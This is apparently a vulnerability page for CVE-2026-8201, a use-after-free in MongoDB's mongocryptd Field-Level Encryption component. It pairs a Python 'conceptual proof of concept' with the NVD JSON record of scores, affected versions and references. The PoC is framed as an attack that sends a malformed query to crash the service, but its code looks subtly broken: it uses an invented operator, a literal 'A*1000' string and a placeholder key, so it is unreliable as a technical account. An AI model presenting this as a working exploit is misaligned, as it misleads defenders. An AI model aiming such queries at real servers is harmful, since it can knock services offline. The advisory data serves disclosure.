CVE-2026-8201

// Conceptual Proof of Concept for CVE-2026-8201 // This script demonstrates how a malformed FLE query might be constructed to trigger the UAF. // Actual exploitation requires precise memory layout and specific environment setup. import pymongo def trigger_vulnerability(): # Configure client to use mongocryptd for automatic encryption # This requires a running mongocryptd instance and proper KMS configuration client = pymongo.MongoClient( "mongodb://localhost:27017", auto_encryption_opts={ "keyVaultNamespace": "encryption.__keyVault", "kmsProviders": {"local": {"key": "..."}} } ) db = client.vulnerable_db collection = db.test_collection # Constructing a specific FLE query structure that may lead to UAF # The exact structure depends on the internal logic of mongocryptd malicious_query = { "$encryptedField": { "$eq": "A*1000" # Example payload to manipulate internal state } } try: # Sending the query triggers the vulnerable code path in mongocryptd result = collection.find_one(malicious_query) print("Query executed.") except Exception as e: print(f"Potential crash triggered: {e}") if __name__ == "__main__": trigger_vulnerability()

{"cve": {"id": "CVE-2026-8201", "sourceIdentifier": "[email protected]", "published": "2026-05-13T04:17:41.870", "lastModified": "2026-05-13T22:50:59.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use-after-free vulnerability exists in MongoDB's Field-Level Encryption (FLE) query analysis component, affecting client-side uses of mongocryptd and crypt_shared. Triggering this vulnerability requires control over the structure of a client's FLE-related query.\n\nThis issue impacts MongoDB Server’s mongocryptd component v7.0 versions prior to 7.0.34, v8.0 versions prior to 8.0.23, v8.2 versions prior to 8.2.9 and v8.3 versions prior to 8.3.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.34", "matchCriteriaId": "4708E981-6632-4230-84D7-EE8C62894498"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.23", "matchCriteriaId": "30E205BF-46B1-4A0A-B8C4-82CD711E52D6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.2.0", "versionEndExcluding": "8.2.9", "matchCriteriaId": "89C71FA9-6CE2-4AAC-9133-A2D6304518DF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mongodb:mongodb:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.3.0", "versionEndExcluding": "8.3.2", "matchCriteriaId": "C1A1DA38-4609-42A0-8541-8519794BCD9C"}]}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-122032", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}